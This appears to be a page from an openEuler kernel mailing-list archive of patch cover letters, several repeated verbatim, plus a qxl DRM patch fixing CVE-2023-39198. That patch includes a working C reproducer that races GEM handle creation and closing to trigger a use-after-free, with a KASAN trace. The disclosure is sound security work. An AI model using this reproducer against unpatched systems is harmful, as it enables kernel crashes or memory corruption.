Support SW stats with debugfs. Juan Zhou (2): Revert "RDMA/hns: Fix missing dealloc_dfx_cnt() during device unregister" Revert "RDMA/hns: Add dfx cnt stats" Junxian Huang (4): RDMA/hns: Fix an inappropriate err code for unsupported operations RDMA/hns: Support SW stats with debugfs RDMA/hns: Remove return value checks of debugfs functions RDMA/hns: Don't set the HW stats ops for VF and HIP08 drivers/infiniband/hw/hns/hns_roce_cq.c | 6 +- drivers/infiniband/hw/hns/hns_roce_debugfs.c | 95 +++++++++++++++----- drivers/infiniband/hw/hns/hns_roce_device.h | 4 +- drivers/infiniband/hw/hns/hns_roce_hw_v2.c | 35 +++++--- drivers/infiniband/hw/hns/hns_roce_main.c | 70 +++++---------- drivers/infiniband/hw/hns/hns_roce_pd.c | 2 +- 6 files changed, 121 insertions(+), 91 deletions(-) -- 2.30.0

1 6

[PATCH v2 OLK-5.10] MAINTAINERS: update openEuler/MAINTAINERS for vdpa driver
by Jiang Dongxu 14 Nov '23

14 Nov '23

From: jiangdongxu <jiangdongxu1(a)huawei.com> driver inclusion category: doc bugzilla: https://gitee.com/openeuler/kernel/issues/I8G7VC ---------------------------- Add vdpa vhost-vdpa driver maintainers to openEuler/MAINTAINERS Signed-off-by: jiangdongxu <jiangdongxu1(a)huawei.com> --- openEuler/MAINTAINERS | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/openEuler/MAINTAINERS b/openEuler/MAINTAINERS index a74c666b0bf7..5c2108d55c2d 100644 --- a/openEuler/MAINTAINERS +++ b/openEuler/MAINTAINERS @@ -243,6 +243,12 @@ F: drivers/iommu/hisilicon F: drivers/ubc F: drivers/vfio/ubc +VDPA DRIVER +M: jiangdongxu <jiangdongxu1(a)huawei.com> +S: Maintained +F: drivers/vdpa +F: drivers/vhost/vdpa.c + THE REST M: xiexiuqi(a)huawei.com M: zhengzengkai(a)huawei.com -- 2.27.0

2 1

[PATCH OLK-5.10 0/3] bugfix for CVE-2022-45884
by liwei 14 Nov '23

14 Nov '23

bugfix for CVE-2022-45884 Dinghao Liu (1): media: dvbdev: Fix memleak in dvb_register_device Hyunwoo Kim (1): media: dvb-core: Fix use-after-free due to race at dvb_register_device() Mauro Carvalho Chehab (1): media: dvbdev: fix error logic at dvb_register_device() drivers/media/dvb-core/dvbdev.c | 88 +++++++++++++++++++++++++-------- include/media/dvbdev.h | 15 ++++++ 2 files changed, 83 insertions(+), 20 deletions(-) -- 2.25.1

2 4

[PATCH OLK-5.10] MAINTAINERS: update openEuler/MAINTAINERS for vdpa driver
by Jiang Dongxu 14 Nov '23

14 Nov '23

From: jiangdongxu <jiangdongxu1(a)huawei.com> driver inclusion category: doc bugzilla: https://gitee.com/openeuler/kernel/issues/I8G7VC ---------------------------- Add vdpa vhost-vdpa driver maintainers to openEuler/MAINTAINERS --- openEuler/MAINTAINERS | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/openEuler/MAINTAINERS b/openEuler/MAINTAINERS index a74c666b0bf7..5c2108d55c2d 100644 --- a/openEuler/MAINTAINERS +++ b/openEuler/MAINTAINERS @@ -243,6 +243,12 @@ F: drivers/iommu/hisilicon F: drivers/ubc F: drivers/vfio/ubc +VDPA DRIVER +M: jiangdongxu <jiangdongxu1(a)huawei.com> +S: Maintained +F: drivers/vdpa +F: drivers/vhost/vdpa.c + THE REST M: xiexiuqi(a)huawei.com M: zhengzengkai(a)huawei.com -- 2.27.0

2 1

[PATCH OLK-5.10 v3 00/19] introduce smart_grid zone
by Yipeng Zou 14 Nov '23

14 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 6 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 267 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1592 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 20

[PATCH OLK-5.10 v3 00/19] introduce smart_grid zone
by Yipeng Zou 13 Nov '23

13 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 6 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 267 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1592 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

1 19

[PATCH OLK-5.10 v3 00/19] introduce smart_grid zone
by Yipeng Zou 13 Nov '23

13 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 6 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 267 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1592 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 20

[PATCH OLK-5.10 00/19] introduce smart_grid zone
by Yipeng Zou 13 Nov '23

13 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 6 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 267 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1592 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 20

[PATCH OLK-5.10 v3 00/19] introduce smart_grid zone
by Yipeng Zou 13 Nov '23

13 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 6 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 267 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1592 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 20

[PATCH OLK-5.10 00/19] introduce smart_grid zone
by Yipeng Zou 13 Nov '23

13 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 6 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 267 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1592 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 20

[PATCH OLK-5.10 v3 00/19] introduce smart_grid zone
by Yipeng Zou 13 Nov '23

13 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 6 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 267 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1592 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 20

[PATCH OLK-5.10 v3 0/2] Add error handle for sd
by Li Nan 13 Nov '23

13 Nov '23

Luis Chamberlain (1): scsi: sd: Add error handling support for add_disk() Zhong Jinghua (1): scsi: sd: Clean up sdkp if device_add_disk() failed drivers/scsi/sd.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) -- 2.39.2

2 3

[PATCH OLK-5.10 00/19] introduce smart_grid zone
by Yipeng Zou 13 Nov '23

13 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 6 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 136 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 263 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1589 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 20

[PATCH OLK-5.10 v2 00/19] introduce smart_grid zone
by Yipeng Zou 13 Nov '23

13 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 6 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 136 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 263 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1589 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

1 19

[PATCH openEuler-1.0-LTS] drm/qxl: fix UAF on handle creation
by Guo Mengqi 13 Nov '23

13 Nov '23

From: Wander Lairson Costa <wander(a)redhat.com> stable inclusion from stable-v5.15.128 commit d578c919deb786b4d6ba8c7639255cb658731671 category: bugfix bugzilla: https://gitee.com/src-openeuler/kernel/issues/I8EZY4 CVE: CVE-2023-39198 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id… -------------------------------- commit c611589b4259ed63b9b77be6872b1ce07ec0ac16 upstream. qxl_mode_dumb_create() dereferences the qobj returned by qxl_gem_object_create_with_handle(), but the handle is the only one holding a reference to it. A potential attacker could guess the returned handle value and closes it between the return of qxl_gem_object_create_with_handle() and the qobj usage, triggering a use-after-free scenario. Reproducer: int dri_fd =-1; struct drm_mode_create_dumb arg = {0}; void gem_close(int handle); void* trigger(void* ptr) { int ret; arg.width = arg.height = 0x20; arg.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg); if(ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } gem_close(arg.handle); while(1) { struct drm_mode_create_dumb args = {0}; args.width = args.height = 0x20; args.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args); if (ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle); gem_close(args.handle); } return NULL; } void gem_close(int handle) { struct drm_gem_close args; args.handle = handle; int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle if (!ret) printf("gem close handle %d\n", args.handle); } int main(void) { dri_fd= open("/dev/dri/card0", O_RDWR); printf("fd:%d\n", dri_fd); if(dri_fd == -1) return -1; pthread_t tid1; if(pthread_create(&tid1,NULL,trigger,NULL)){ perror("[*] thread_create tid1\n"); return -1; } while (1) { gem_close(arg.handle); } return 0; } This is a KASAN report: ================================================================== BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 Write of size 1 at addr ffff88801136c240 by task poc/515 CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014 Call Trace: <TASK> __dump_stack linux/lib/dump_stack.c:88 dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106 print_address_description linux/mm/kasan/report.c:319 print_report+0xd2/0x660 linux/mm/kasan/report.c:430 kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536 __asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383 qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 RIP: 0033:0x7ff5004ff5f7 Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48 RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7 RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003 RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000 </TASK> Allocated by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510 ____kasan_kmalloc linux/mm/kasan/common.c:374 __kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383 kasan_kmalloc linux/./include/linux/kasan.h:196 kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066 kmalloc linux/./include/linux/slab.h:580 kzalloc linux/./include/linux/slab.h:720 qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124 qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58 qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 